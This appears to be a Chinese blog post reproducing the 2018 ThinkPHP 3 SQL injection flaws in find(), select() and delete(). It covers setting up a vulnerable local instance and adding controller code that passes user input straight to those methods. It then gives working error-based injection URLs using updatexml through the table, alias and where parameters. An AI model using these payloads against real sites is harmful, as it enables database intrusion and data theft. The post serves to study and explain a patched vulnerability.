thinkphp3有漏洞嗎

thinkphp3有漏洞嗎

thinkphp3有漏洞嗎?

thinkphp3是有漏洞的,但是在北京時間 2018年8月23號11:25分 星期四,tp團隊對于已經停止更新的thinkphp 3系列進行了一處安全更新,經過分析,此次更新修正了由于select(),find(),delete()方法可能會傳入數組類型數據產生的多個sql注入隱患。

0x01 漏洞復現

下載源碼: git clone https://github.com/top-think/thinkphp.git

使用git checkout 命令將版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b

立即學習PHP免費學習筆記(深入)”;

使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf

DocumentRoot “” 為thinkphp所在的目錄。

thinkphp3有漏洞嗎

重啟phpstudy,訪問127.0.0.1,輸出thinkphp的歡迎信息,表示thinkphp已正常運行。

thinkphp3有漏洞嗎

搭建數據庫,數據庫為tptest,表為user,表里面有三個字段id,username,pass

thinkphp3有漏洞嗎

修改ApplicationCommonConfconfig.php配置文件,添加數據庫配置信息。

thinkphp3有漏洞嗎

之后在ApplicationHomeControllerIndexController.class.php 添加以下代碼:

public?function?test() ????{ ???????$id?=?i('id'); ???????$res?=?M('user')->find($id); ???????//$res?=?M('user')->delete($id); ???????//$res?=?M('user')->select($id); ????}

針對select() 和find()方法 ,有很多地方可注,這里主要列舉三個table,alias,where,更多還請自行跟蹤一下parseSql的各個parseXXX方法,目測都是可行的,比如having,group等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user?where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where:?http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

thinkphp3有漏洞嗎

而delete()方法的話同樣,這里粗略舉三個例子,table,alias,where,但使用table和alias的時候,同時還必須保證where不為空(詳細原因后面會說)

where:?http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:?http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table:?http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

thinkphp3有漏洞嗎

通過github上的commit 對比其實可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中對于delete,find,select三個函數進行了修改。

? 版權聲明
THE END
喜歡就支持一下吧
點贊15 分享